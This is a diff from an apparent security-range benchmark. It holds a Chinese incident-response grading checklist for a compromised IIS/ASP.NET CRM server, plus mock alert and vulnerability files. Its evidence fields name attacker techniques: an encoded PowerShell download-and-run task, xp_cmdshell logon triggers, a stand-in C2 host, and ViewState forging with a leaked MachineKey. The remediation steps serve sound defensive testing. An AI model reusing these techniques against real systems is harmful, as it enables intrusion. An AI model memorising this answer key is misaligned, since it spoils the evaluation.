- **证据**:`C:\Program Files\Notepad++\version.dll`(攻击者植入的 DLL 搜索顺序劫持载体;系统 `version.dll` 的拷贝,签名仍有效但出现在非预期位置,创建时间与攻击窗口吻合)
|
| 117 |
+
- **检测分**(3 分)
|
| 118 |
+
- 发现:识别到 `C:\Program Files\Notepad++\version.dll` 存在且不属于 Notepad++ 正常安装
|
| 119 |
+
- 证据:通过 `target-query <device> -f filesystem` 枚举 Notepad++ 目录发现非预期 DLL;该 DLL 与 `C:\Windows\System32\version.dll` 哈希相同(攻击者拷贝系统 DLL 作为载体,真实场景中会替换为含恶意 DllMain 的转发 DLL);文件��建时间落在攻击窗口内
|
| 120 |
+
- 归因:识别 DLL 搜索顺序劫持手法(T1574.001 — Notepad++ 启动时优先加载自身目录下的 version.dll);说明该技术在 APT 中常见,植入后每次 Notepad++ 启动即触发
|
| 121 |
+
- **方案分**(2 分)
|
| 122 |
+
- 正确性:`Remove-Item -Force "C:\Program Files\Notepad++\version.dll"`
|
| 123 |
+
- 完整性:方案含删除后验证 Notepad++ 目录无残留非预期 DLL + 扫描其他应用程序目录(`Program Files\`、`Program Files (x86)\`)是否存在同类植入
|
| 124 |
+
|
| 125 |
+
---
|
| 126 |
+
|
| 127 |
+
### 维度 2:持久化清理
|
| 128 |
+
|
| 129 |
+
#### CHK-09:schtasks 计划任务定位 — `AuditTask` `PER-S04`
|
| 130 |
+
|
| 131 |
+
- **证据**:计划任务 `\Microsoft\Windows\Maintenance\AuditTask` 存在(XML 文件 `C:\Windows\System32\Tasks\Microsoft\Windows\Maintenance\AuditTask`,Trigger 每天 10:23,Author: SYSTEM)
|
| 132 |
+
- **检测分**(3 分)
|
| 133 |
+
- 发现:识别到可疑计划任务 `\Microsoft\Windows\Maintenance\AuditTask`
|
| 134 |
+
- 证据:通过 `target-query <device> -f tasks` 枚举计划任务,取得完整 XML;引用 Task 关键字段:`<Author>SYSTEM</Author>`、Trigger(每天 10:23)、Action(`powershell.exe -ep bypass -enc <base64>`);或在线系统用 `Get-ScheduledTask -TaskPath "\Microsoft\Windows\Maintenance\" -TaskName "AuditTask"`
|
| 135 |
+
- 归因:将该 Task 认定为持久化机制;指出路径 `\Microsoft\Windows\Maintenance\` 是攻击者常用的系统任务伪装路径;SYSTEM 身份 + `-ep bypass -enc` 参数组合是强烈恶意信号
|
| 136 |
+
- **方案分**(2 分)
|
| 137 |
+
- 正确性:方案引导到 CHK-10 先解码确认载荷内容,再通过 CHK-11 删除;单独定位步骤只需确认任务存在即可
|
| 138 |
+
- 完整性:方案建议枚举所有非标准路径计划任务(`Get-ScheduledTask | Where-Object { $_.TaskPath -notlike "\Microsoft\Windows\*" -or $_.Principal.UserId -eq "SYSTEM" }`)以覆盖同类植入
|
| 139 |
+
|
| 140 |
+
---
|
| 141 |
+
|
| 142 |
+
#### CHK-10:schtasks 编码载荷解码识别 `PER-S04`
|
| 143 |
+
|
| 144 |
+
- **证据**:AuditTask Action 中 `powershell.exe -ep bypass -enc <base64>` 的 base64 解码后是拉取 stage3 的下载命令
|
| 145 |
+
- **检测分**(3 分)
|
| 146 |
+
- 发现:识别到 Action 中的 base64 编码载荷并执行解码分析
|
| 147 |
+
- 证据:引用 base64 字符串(从 Task XML 的 `<Arguments>` 字段提取);给出解码结果(`[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("<b64>"))` 解出的 PowerShell 命令);解码结果显示为下载执行命令(IEX (New-Object Net.WebClient).DownloadString 等形态)
|
| 148 |
+
- 归因:将编码载荷与 stage3 C2 拉取行为关联;指出 `-ep bypass` 绕过执行策略是恶意 PowerShell 的标志性手法
|
| 149 |
+
- **方案分**(2 分)
|
| 150 |
+
- 正确性:解码分析本身即为方案核心;引导到 CHK-11 删除任务
|
| 151 |
+
- 完整性:方案建议将解码结果上报 SOC(包含 URL、C2 地址等 IOC);确认解码过程使用 UTF-16LE 解码(PowerShell `-enc` 默认 UTF-16LE)
|
| 152 |
+
|
| 153 |
+
---
|
| 154 |
+
|
| 155 |
+
#### CHK-11:schtasks 删除 `PER-S04`
|
| 156 |
+
|
| 157 |
+
- **证据**:AuditTask 已定位(CHK-09),载荷已解码(CHK-10),此项为实际删除
|
| 158 |
+
- **检测分**(3 分)
|
| 159 |
+
- 发现:确认在执行删除前任务仍存在
|
| 160 |
+
- 证据:`Get-ScheduledTask -TaskPath "\Microsoft\Windows\Maintenance\" -TaskName "AuditTask"` 返回有效对象
|
| 161 |
+
- 归因:(延续 CHK-09 归因,本项重点在执行)
|
| 162 |
+
- **方案分**(2 分)
|
| 163 |
+
- 正确性:`Unregister-ScheduledTask -TaskPath "\Microsoft\Windows\Maintenance\" -TaskName "AuditTask" -Confirm:$false`
|
| 164 |
+
- 完整性:含删除后验证(任务不再出现)+ 提示备份 XML 文件到取证存档后再删除 + 扫描是否有相同载荷哈希的其他任务(防备份持久化)
|
| 165 |
+
|
| 166 |
+
---
|
| 167 |
+
|
| 168 |
+
#### CHK-12:WMI 永久订阅 3 对象定位 — `AuditMonitor` / `AuditAction` `PER-E02`
|
| 169 |
+
|
| 170 |
+
- **证据**:WMI `root\subscription` 命名空间中存在:`__EventFilter` 名为 `AuditMonitor`(`Win32_LocalTime Hour=10 AND Minute=23` 触发)、`ActiveScriptEventConsumer` 名为 `AuditAction`(ScriptText 含 VBScript,向日志文件追加时间戳)、`__FilterToConsumerBinding` 绑定两者
|
| 171 |
+
- **检测分**(3 分)
|
| 172 |
+
- 发现:识别到 WMI 永久事件订阅的全部 3 个组成对象
|
| 173 |
+
- 证据:通过 python-cim 离线解析块设备上 `C:\Windows\System32\wbem\Repository\OBJECTS.DATA`:
|
| 174 |
+
```python
|
| 175 |
+
from cim import CIM
|
| 176 |
+
c = CIM('/mnt/.../Repository')
|
| 177 |
+
for obj in c.query("SELECT * FROM __FilterToConsumerBinding"):
|
| 178 |
+
print(obj)
|
| 179 |
+
```
|
| 180 |
+
或在线用 `Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding`;引用 Filter.Name = `AuditMonitor`,Consumer.Name = `AuditAction`
|
| 181 |
+
- 归因:WMI 永久订阅是 Windows APT 常用无文件持久化手法;`Win32_LocalTime` 时间条件触发在合法管理工具中极罕见,是高可信恶意信号
|
| 182 |
+
- **方案分**(2 分)
|
| 183 |
+
- 正确性:方案明确说明需删除 3 个对象(Filter + Consumer + Binding),引导到 CHK-14
|
| 184 |
+
- 完整性:方案建议枚举全部非系统 WMI 订阅(`Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding`)确认无其他恶意订阅
|
| 185 |
+
|
| 186 |
+
---
|
| 187 |
+
|
| 188 |
+
#### CHK-13:WMI ScriptText 分析识别 `PER-E02`
|
| 189 |
+
|
| 190 |
+
- **证据**:`ActiveScriptEventConsumer "AuditAction"` 的 `ScriptText` 字段含 VBScript 代码(向 `C:\ProgramData\WindowsAudit\wmi-fired.log` 追加时间戳——与 schtasks AuditTask 构成双路持久化,功能等效但实现语言不同)
|
| 191 |
+
- **检测分**(3 分)
|
| 192 |
+
- 发现:识别到 ScriptText 字段含可执行载荷
|
| 193 |
+
- 证据:从 `AuditAction` Consumer 对象提取 `ScriptText` 字段;分析 VBScript 内容——`CreateObject("Scripting.FileSystemObject")` 写日志到 `WindowsAudit` 目录(与 Beacon 落地目录相同)
|
| 194 |
+
- 归因:与 CHK-10 的 schtasks 载荷对比,指出攻击者部署了双路持久化(schtasks + WMI),两者写入同一 `WindowsAudit` 目录,说明防御需同时清除两路
|
| 195 |
+
- **方案分**(2 分)
|
| 196 |
+
- 正确性:分析 VBScript 内容,确认日志路径与 C2 基础设施目录一致
|
| 197 |
+
- 完整性:将 VBScript 中的文件路径与 CHK-02 Beacon 目录 `C:\ProgramData\WindowsAudit\` 关联
|
| 198 |
+
|
| 199 |
+
---
|
| 200 |
+
|
| 201 |
+
#### CHK-14:WMI 3 对象全部清除 `PER-E02`
|
| 202 |
+
|
| 203 |
+
- **证据**:WMI `root\subscription` 下的 Filter `AuditMonitor`、Consumer `AuditAction`、Binding 已定位(CHK-12),需全部删除
|
| 204 |
+
- **检测分**(3 分)
|
| 205 |
+
- 发现:删除前确认 3 对象均存在(防误报漏删)
|
| 206 |
+
- 证据:`Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding | Where-Object { $_.Filter -like '*AuditMonitor*' }` 返回非空
|
| 207 |
+
- 归因:(延续 CHK-12 归因)
|
| 208 |
+
- **方案分**(2 分)
|
| 209 |
+
- 正确性:按顺序删除 3 对象(先删 Binding,再删 Filter 和 Consumer,防孤立对象触发):
|
| 210 |
+
```powershell
|
| 211 |
+
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding |
|
| 212 |
+
Where-Object { $_.Filter -like '*AuditMonitor*' } | Remove-WmiObject
|
| 213 |
+
Get-WmiObject -Namespace root\subscription -Class __EventFilter |
|
| 214 |
+
Where-Object Name -eq 'AuditMonitor' | Remove-WmiObject
|
| 215 |
+
Get-WmiObject -Namespace root\subscription -Class ActiveScriptEventConsumer |
|
| 216 |
+
Where-Object Name -eq 'AuditAction' | Remove-WmiObject
|
| 217 |
+
```
|
| 218 |
+
- 完整性:含删除后验证(三个 Get-WmiObject 均返回空)+ 提示 `winmgmt` 服务可能需重启以清理内存缓存 + 建议用 `WMI Explorer` 工具人工核查
|
| 219 |
+
|
| 220 |
+
---
|
| 221 |
+
|
| 222 |
+
#### CHK-15:DLL hijack 检出(位置 + 时间窗口 + 搜索顺序分析) `PER-H02`
|
| 223 |
+
|
| 224 |
+
- **证据**:`C:\Program Files\Notepad++\version.dll` 不属于 Notepad++ 正常安装;该 DLL 与 `C:\Windows\System32\version.dll` 哈希相同(攻击者拷贝系统 DLL 作为载体),创建时间与攻击窗口吻合
|
| 225 |
+
- **检测分**(3 分)
|
| 226 |
+
- 发现:识别到 Notepad++ 目录下存在非预期的 `version.dll`
|
| 227 |
+
- 证据:通过 `target-query <device> -f filesystem` 枚举 Notepad++ 目录发现该 DLL;注意该 DLL 与 System32 同名 DLL 哈希一致——攻击者在本靶场中使用系统 DLL 副本作为占位(真实 APT 场景中会替换为含恶意 DllMain 的转发 DLL);文件元数据(创建/修改时间)落在攻击时间窗口内
|
| 228 |
+
- 归因:DLL 搜索顺序劫持(T1574.001 side-loading)——Windows 的 DLL 搜索顺序中,应用程序自身目录优先于 System32,Notepad++ 启动时会优先加载自身目录下的 version.dll
|
| 229 |
+
- **方案分**(2 分)
|
| 230 |
+
- 正确性:删除 `C:\Program Files\Notepad++\version.dll`(引导到 CHK-08 执行层)
|
| 231 |
+
- 完整性:方案含扫描其他应用程序目录(`Program Files\`、`Program Files (x86)\`)是否存在同类非预期 DLL 植入
|
| 232 |
+
|
| 233 |
+
---
|
| 234 |
+
|
| 235 |
+
#### CHK-16:MSSQL Logon Trigger + xp_cmdshell 检出 `PER-D02`
|
| 236 |
+
|
| 237 |
+
- **证据**:`master` 数据库存在 Server-level Logon Trigger `tr_audit_logon`(`ON ALL SERVER FOR LOGON`,体内 `EXEC xp_cmdshell 'cmd.exe /c echo ...'`),且 `xp_cmdshell` 已启用。该 Trigger 在 SQL Express 上导致 **所有 SQL 登录(包括 sa 和 Windows 认证)失败**——xp_cmdshell 的运行时错误传播到 LOGON 事件上下文,使登录事务回滚。
|
| 238 |
+
|
| 239 |
+
> **重要**:该 Trigger 是 INTENTIONALLY BROKEN——攻击者植入的 Logon Trigger 在 SQL Express 上触发 xp_cmdshell 时产生运行时错误,导致**所有**后续 SQL 连接(包括 sa 混合认证和 Windows 集成认证)均失败。SQL Error Log 中记录 `"Logon failed for login 'X' due to trigger execution"`。检测 Agent 应能从 ERRORLOG 中识别此异常模式。
|
| 240 |
+
- **检测分**(3 分)
|
| 241 |
+
- 发现:识别到 MSSQL Logon Trigger `tr_audit_logon` 和 xp_cmdshell 启用配置
|
| 242 |
+
- 证据:通过 SQL Error Log(`C:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\Log\ERRORLOG`)发现 `"Logon failed for login ... due to trigger execution"` 错误条目(所有连接尝试均留此记录);或通过离线检查 `master.mdf`;引用 Trigger 定义中的 `xp_cmdshell` 调用
|
| 243 |
+
- 归因:MSSQL Logon Trigger 是 SQL Server 特有的数据库级别持久化手法(SQL Express 上无 SQL Agent,Logon Trigger 是可达的等效替代);xp_cmdshell 启用赋予数据库引擎操作系统命令执行能力;即使 Trigger 已损坏,其存在本身说明攻击者具有 sysadmin 权限
|
| 244 |
+
- **方案分**(2 分)
|
| 245 |
+
- 正确性:方案明确指出:由于 Trigger 导致所有 SQL 登录失败,需使用 **单用户模式**(`sqlservr.exe -m -s SQLEXPRESS`)启动 SQL Express,此模式跳过 Logon Trigger 执行;或利用 DAC(Dedicated Admin Connection)绕过
|
| 246 |
+
- 完整性:方案含核查 xp_cmdshell 当前状态 + 警示所有 SQL 连接方式(sa/Windows auth)均受影响 + 指引到 CHK-17 执行删除
|
| 247 |
+
|
| 248 |
+
---
|
| 249 |
+
|
| 250 |
+
#### CHK-17:MSSQL 后门清除 + xp_cmdshell 关闭 `PER-D02`
|
| 251 |
+
|
| 252 |
+
- **证据**:MSSQL Logon Trigger `tr_audit_logon` 已定位(CHK-16),需删除并关闭 xp_cmdshell
|
| 253 |
+
- **检测分**(3 分)
|
| 254 |
+
- 发现:删除前确认 Trigger 仍存在且 xp_cmdshell 启用
|
| 255 |
+
- 证据:在单用户模式连接成功后:`SELECT name FROM sys.server_triggers WHERE name = 'tr_audit_logon'` 返回 1 行;`EXEC sp_configure 'xp_cmdshell'` 的 `run_value` 为 1
|
| 256 |
+
- 归因:(延续 CHK-16 归因,本项重点在执行)
|
| 257 |
+
- **方案分**(2 分)
|
| 258 |
+
- 正确性:需绕过 Logon Trigger(因为 Trigger 导致**所有** SQL 登录失败)。等效正确路径:
|
| 259 |
+
- **路径 A(单用户模式)**:`net stop MSSQL$SQLEXPRESS` → `sqlservr.exe -m -s SQLEXPRESS` → `sqlcmd -S .\SQLEXPRESS -E` 连接 → `DROP TRIGGER tr_audit_logon ON ALL SERVER; EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;` → 恢复正常服务
|
| 260 |
+
- **路径 B(DAC)**:使用 `sqlcmd -S admin:.\SQLEXPRESS -E` 通过 Dedicated Admin Connection 连接(DAC 不触发 Logon Trigger)→ 同上 DROP 命令
|
| 261 |
+
- 两种路径均可接受;方案需说明为什么不能直接连接(Trigger 阻断所有登录)
|
| 262 |
+
- 完整性:含恢复正常模式后验证 Trigger 不存在 + xp_cmdshell 已关闭 + CRM 应用连接串验证(访问页面确认 CRM 仍可用)
|
| 263 |
+
```sql
|
| 264 |
+
-- 在 sqlcmd 中执行:
|
| 265 |
+
SELECT COUNT(*) FROM sys.server_triggers WHERE name = 'tr_audit_logon';
|
| 266 |
+
-- 期望返回 0
|
| 267 |
+
EXEC sp_configure 'xp_cmdshell';
|
| 268 |
+
-- 期望 run_value = 0
|
| 269 |
+
```
|
| 270 |
+
|
| 271 |
+
---
|
| 272 |
+
|
| 273 |
+
### 维度 3:漏洞修复
|
| 274 |
+
|
| 275 |
+
#### CHK-18:ViewState 反序列化漏洞根因识别 + MachineKey 轮换 `VUL-02`
|
| 276 |
+
|
| 277 |
+
- **证据**:`web.config` 中硬编码的 `<machineKey validationKey="..." decryptionKey="..."/>` 导致攻击者能用 ysoserial.net 构造合法签名的恶意 ViewState payload;MachineKey 硬编码是根因
|
| 278 |
+
- **检测分**(3 分)
|
| 279 |
+
- 发现:识别 ASP.NET ViewState 反序列化漏洞的根因为 MachineKey 硬编码泄露
|
| 280 |
+
- 证据:引用 `web.config` 中 `<machineKey>` 节点的 `validationKey` 和 `decryptionKey` 值;说明攻击者通过下载 `web.config.bak`(CHK-19)获得这两个密钥后,可用 ysoserial.net 构造任意有效 ViewState 载荷;结合 IIS 日志中的 POST `/CRM/Login.aspx` 请求
|
| 281 |
+
- 归因:将 MachineKey 硬编码定性为漏洞(而非单纯配置错误)——ASP.NET 的 ViewState 完整性依赖 MachineKey,密钥泄露等价于反序列化 RCE 利用条件满足;与 `web.config.bak` 错配(CHK-19)和 AppPool LocalSystem(CHK-20)构成三因合一入口
|
| 282 |
+
- **方案分**(2 分)
|
| 283 |
+
- 正确性:轮换 MachineKey:生成新随机 `validationKey`(64字节十六进制)和 `decryptionKey`(32字节十六进制);更新 `web.config` 的 `<machineKey>` 节点;`iisreset /restart` 使配置生效(引导到 CHK-22 执行层)
|
| 284 |
+
- 完整性:含收紧 ViewState 配置:在 `<pages>` 节点启用 `enableViewStateMac="true"` 和 `ViewStateEncryptionMode="Always"`;提示轮换后所有现有会话 token 失效(用户需重新登录,业务影响低但需告知);引用到 `web.config.bak` 删除(CHK-19)确保泄露的 MachineKey 不再可被下载
|
| 285 |
+
|
| 286 |
+
---
|
| 287 |
+
|
| 288 |
+
#### CHK-19:web.config.bak 清除 + IIS staticContent `.bak` 错配修复 `BAS-06`
|
| 289 |
+
|
| 290 |
+
- **证据**:`C:\inetpub\wwwroot\CRM\web.config.bak` 可通过 HTTP 直接下载(IIS `<staticContent>` 未限制 `.bak` 扩展名);文件内容与 `web.config` 相同,含硬编码 MachineKey 和数据库连接串
|
| 291 |
+
- **检测分**(3 分)
|
| 292 |
+
- 发现:识别到 `web.config.bak` 公开暴露为漏洞入口
|
| 293 |
+
- 证据:引用文件路径 `C:\inetpub\wwwroot\CRM\web.config.bak`;通过 `target-query -f filesystem` 确认文件存在;通过 IIS 日志确认攻击者 `GET /CRM/web.config.bak HTTP/1.1` 返回 200;识别 IIS `web.config` 的 `<staticContent>` 节点未对 `.bak` 做 MIME 限制或请求过滤
|
| 294 |
+
- 归因:将 `.bak` 文件暴露定性为错配漏洞根因之一(非代码漏洞,是运维操作风险);运维备份文件留在 Web 根目录是高频真实事故模式
|
| 295 |
+
- **方案分**(2 分)
|
| 296 |
+
- 正确性:
|
| 297 |
+
1. 删除文件:`Remove-Item -Force "C:\inetpub\wwwroot\CRM\web.config.bak"`
|
| 298 |
+
2. IIS 请求过滤拒绝 `.bak`:在 `C:\inetpub\wwwroot\CRM\web.config` 的 `<system.webServer>` 中添加:
|
| 299 |
+
```xml
|
| 300 |
+
<security><requestFiltering>
|
| 301 |
+
<fileExtensions><add fileExtension=".bak" allowed="false" /></fileExtensions>
|
| 302 |
+
</requestFiltering></security>
|
| 303 |
+
```
|
| 304 |
+
- 完整性:含全站扫描其他 `.bak`/`.old`/`.tmp` 等备份文件(`Get-ChildItem -Recurse -Include *.bak,*.old,*.tmp -Path C:\inetpub\`)+ `iisreset /restart` 使配置生效 + 验证 HTTP 访问 `/CRM/web.config.bak` 返回 403/404
|
| 305 |
+
|
| 306 |
+
---
|
| 307 |
+
|
| 308 |
+
### 维度 4:基线收紧
|
| 309 |
+
|
| 310 |
+
#### CHK-20:CRM 所在 AppPool Identity 改回 ApplicationPoolIdentity + `iisreset` `BAS-06`
|
| 311 |
+
|
| 312 |
+
- **证据**:CRM 应用运行在 `DefaultAppPool`,其 `processModel.identityType` 当前为 `LocalSystem`(攻击者利用此配置通过 w3wp.exe RCE 直接获得 SYSTEM 权限);应改为最小权限的 `ApplicationPoolIdentity`
|
| 313 |
+
- **检测分**(3 分)
|
| 314 |
+
- 发现:识别到 CRM 所在 AppPool 使用 LocalSystem 身份是高风险错配
|
| 315 |
+
- 证据:通过 `Import-Module WebAdministration; (Get-ItemProperty "IIS:\AppPools\DefaultAppPool").processModel.identityType` 发现值为 `LocalSystem`;或通过 `target-query -f filesystem` 读取 `C:\Windows\System32\inetsrv\config\applicationHost.config` 取得同等证据;引用该配置是 IIS 安全基线的违规项
|
| 316 |
+
- 归因:将 AppPool LocalSystem 错配定性为入侵"直接权限提升"根因——攻击者通过 ViewState RCE 触发的 w3wp.exe 代码执行以 SYSTEM 权限运行,无需额外提权步骤;标准安全基线要求 AppPool 使用 `ApplicationPoolIdentity`(独立低权限账户)
|
| 317 |
+
- **方案分**(2 分)
|
| 318 |
+
- 正确性:方案给出修改 AppPool 身份的正确操作——将 CRM 所在 AppPool 的 `identityType` 改为 `ApplicationPoolIdentity`,然后 `iisreset /restart`。可接受为 CRM 创建独立 AppPool 再迁移的方案
|
| 319 |
+
- 完整性:含变更后验证 CRM 应用正常访问(业务回归)+ 检查 CRM 应用是否依赖 LocalSystem 权限访问特定资源(如文件系统路径、注册表键),若有则需为 AppPool 账户单独授权 + 扫描其他 AppPool 是否有同样错配
|
| 320 |
+
|
| 321 |
+
---
|
| 322 |
+
|
| 323 |
+
#### CHK-21:SQL Express sa 弱口令轮换 + connection string 更新 `BAS-02` `BAS-03`
|
| 324 |
+
|
| 325 |
+
- **证据**:SQL Express `sa` 账户密码为 `SpikeWin2019!`(已通过 `creds.txt` 明文泄露);`sa` 账户已启用(登录模式为 SQL 混合认证);`web.config` connection string 使用 `sa` 账户
|
| 326 |
+
- **检测分**(3 分)
|
| 327 |
+
- 发现:识别到 sa 弱口令和 SQL 混合认证启用
|
| 328 |
+
- 证据:引用 `web.config` 中 connection string 含 `sa` 账户和密码 `SpikeWin2019!`(明文硬编码);确认 SQL Express 以混合认证模式运行(`target-query -f registry` 查找 `HKLM\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQLServer\LoginMode` 值为 2);或从 `creds.txt`(CHK-05)中 Administrator 密码泄露推断 sa 密码同样面临泄露风险
|
| 329 |
+
- 归因:sa 密码硬编码在 web.config(且可通过 `.bak` 文件被下载),攻击者已具备 sysadmin 权限(CHK-16 Trigger 植入佐证);不轮换等于留下持久后门
|
| 330 |
+
- **方案分**(2 分)
|
| 331 |
+
- 正确性:
|
| 332 |
+
1. 生成强密码:`$newpass = -join ((65..90)+(97..122)+(48..57)+('!','@','#','$') | Get-Random -Count 20 | ForEach-Object {[char]$_})`
|
| 333 |
+
2. 轮换 sa 密码:`sqlcmd -S .\SQLEXPRESS -E -Q "ALTER LOGIN sa WITH PASSWORD='$newpass'"`
|
| 334 |
+
3. 更新 `web.config` connection string(替换 `Password=SpikeWin2019!` 为新密码)
|
| 335 |
+
4. 重启 CRM 所在 AppPool(`Restart-WebAppPool DefaultAppPool` 或独立池)
|
| 336 |
+
- 完整性:含业务回归验证(CRM 能正常连接数据库)+ 提示新密码应安全存储(密码管理器)而不是留在 PS history + 考虑是否需要禁用 sa 账户(创建专用低权限 CRM DB 账户替代)
|
| 337 |
+
|
| 338 |
+
---
|
| 339 |
+
|
| 340 |
+
#### CHK-22:web.config MachineKey 轮换 + CRM AppPool 重启 `BAS-03`
|
| 341 |
+
|
| 342 |
+
- **证据**:`web.config` 中 `<machineKey validationKey="..." decryptionKey="..."/>` 的当前值已被攻击者获取(通过 `web.config.bak` 下载),这些密钥是构造恶意 ViewState 的必要条件;需轮换为新随机密钥
|
| 343 |
+
- **检测分**(3 分)
|
| 344 |
+
- 发现:确认 web.config 中的 MachineKey 需要轮换(当前值已泄露)
|
| 345 |
+
- 证据:通过 `Select-String -Path "C:\inetpub\wwwroot\CRM\web.config" -Pattern "machineKey"` 读取当前 validationKey/decryptionKey;通过 `Select-String -Path "C:\inetpub\wwwroot\CRM\web.config.bak" -Pattern "machineKey"`(若 .bak 尚未删除)确认两者相同(即 .bak 暴露的就是当前使用的密钥);将这一发现与 CHK-18 的漏洞根因分析关联
|
| 346 |
+
- 归因:(延续 CHK-18 归因,本项重点在执行层)MachineKey 不轮换意味着旧 ViewState payload 仍然有效,攻击者仍可用缓存的密钥再次攻击
|
| 347 |
+
- **方案分**(2 分)
|
| 348 |
+
- 正确性:
|
| 349 |
+
1. 生成新 MachineKey:
|
| 350 |
+
```powershell
|
| 351 |
+
$validationKey = -join ((1..64) | ForEach-Object { '{0:X2}' -f (Get-Random -Max 256) })
|
| 352 |
+
$decryptionKey = -join ((1..32) | ForEach-Object { '{0:X2}' -f (Get-Random -Max 256) })
|
| 353 |
+
```
|
| 354 |
+
2. 更新 `web.config` 的 `<machineKey>` 节点(validationKey 和 decryptionKey 均替换)
|
| 355 |
+
3. 重启 CRM 所在 AppPool(`Restart-WebAppPool DefaultAppPool` 或独立池)使新 MachineKey 生效
|
| 356 |
+
- 完整性:含业务回归验证(CRM 登录正常;旧会话 token 失效,用户需重新登录,这是预期行为)+ 确认 `web.config.bak` 已删除(CHK-19)以免新旧 MachineKey 混淆 + 提示若有负载均衡多实例,所有实例的 `web.config` 需同步更新同一 MachineKey(否则跨实例会话校验失败)
|
| 357 |
+
|
| 358 |
+
## scores.json 输出 schema
|
| 359 |
+
|
| 360 |
+
```json
|
| 361 |
+
{
|
| 362 |
+
"checkpoints": [
|
| 363 |
+
{
|
| 364 |
+
"chk_id": "CHK-01",
|
| 365 |
+
"name": "Webshell help.aspx 检出 + 删除",
|
| 366 |
+
"detection": {"discovery": 1, "evidence": 1, "attribution": 1, "total": 3, "max": 3, "rationale": "..."},
|
| 367 |
+
"plan": {"correctness": 1, "completeness": 1, "total": 2, "max": 2, "rationale": "..."}
|
| 368 |
+
}
|
| 369 |
+
]
|
| 370 |
+
}
|
| 371 |
+
```
|
ranges/aspnet-viewstate/disk.tar.gz
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:2579fbc6ff5c00f55116ff259856a5f2b03bfb15267289da1bb1b9ca4671befb
|
| 3 |
+
size 265987090
|
ranges/aspnet-viewstate/disk.tar.gz.sha256
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:52b1a1462a8d1dbcc293e2d7d13bcc960e5c1ea95f83075284e3002b137d8a21
|
| 3 |
+
size 78
|
ranges/aspnet-viewstate/sas-mock/alerts.json
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"alerts": [
|
| 3 |
+
{
|
| 4 |
+
"severity": "high",
|
| 5 |
+
"type": "Webshell",
|
| 6 |
+
"path": "C:\\inetpub\\wwwroot\\CRM\\help.aspx",
|
| 7 |
+
"ts": "2026-05-14T10:00:00Z",
|
| 8 |
+
"description": "ASPX Webshell detected"
|
| 9 |
+
},
|
| 10 |
+
{
|
| 11 |
+
"severity": "high",
|
| 12 |
+
"type": "MaliciousProcess",
|
| 13 |
+
"name": "WindowsAuditSvc.exe",
|
| 14 |
+
"path": "C:\\ProgramData\\WindowsAudit\\WindowsAuditSvc.exe",
|
| 15 |
+
"ts": "2026-05-14T10:01:00Z",
|
| 16 |
+
"description": "Suspicious process in non-standard path making outbound HTTPS connection to malicious-update.example.cn:8443"
|
| 17 |
+
},
|
| 18 |
+
{
|
| 19 |
+
"severity": "medium",
|
| 20 |
+
"type": "PersistenceWMI",
|
| 21 |
+
"namespace": "root\\subscription",
|
| 22 |
+
"ts": "2026-05-14T10:02:00Z",
|
| 23 |
+
"description": "Suspicious WMI permanent subscription"
|
| 24 |
+
}
|
| 25 |
+
]
|
| 26 |
+
}
|
ranges/aspnet-viewstate/sas-mock/baselines.json
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"baselines": [
|
| 3 |
+
{"check": "SQL Server sa enabled with weak password", "result": "fail", "evidence": "SpikeWin2019!"},
|
| 4 |
+
{"check": "xp_cmdshell enabled", "result": "fail", "evidence": "sp_configure 'xp_cmdshell' = 1"},
|
| 5 |
+
{"check": "MachineKey hardcoded in web.config", "result": "fail", "evidence": "static validationKey + decryptionKey"}
|
| 6 |
+
]
|
| 7 |
+
}
|
ranges/aspnet-viewstate/sas-mock/vulns.json
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"vulns": [
|
| 3 |
+
{"cve": "MISC-2024-VIEWSTATE", "severity": "critical", "target": "/CRM/Login.aspx", "description": "ASP.NET ViewState deserialization via leaked MachineKey"},
|
| 4 |
+
{"cve": "MISCONFIG-IIS-BAK", "severity": "high", "target": "/CRM/web.config.bak", "description": "Backup file exposed via IIS staticContent misconfig"},
|
| 5 |
+
{"cve": "MISCONFIG-APPPOOL", "severity": "high", "target": "DefaultAppPool", "description": "AppPool runs as LocalSystem"}
|
| 6 |
+
]
|
| 7 |
+
}
|
ranges/docker-escape/checklist.en.md
ADDED
|
@@ -0,0 +1,249 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
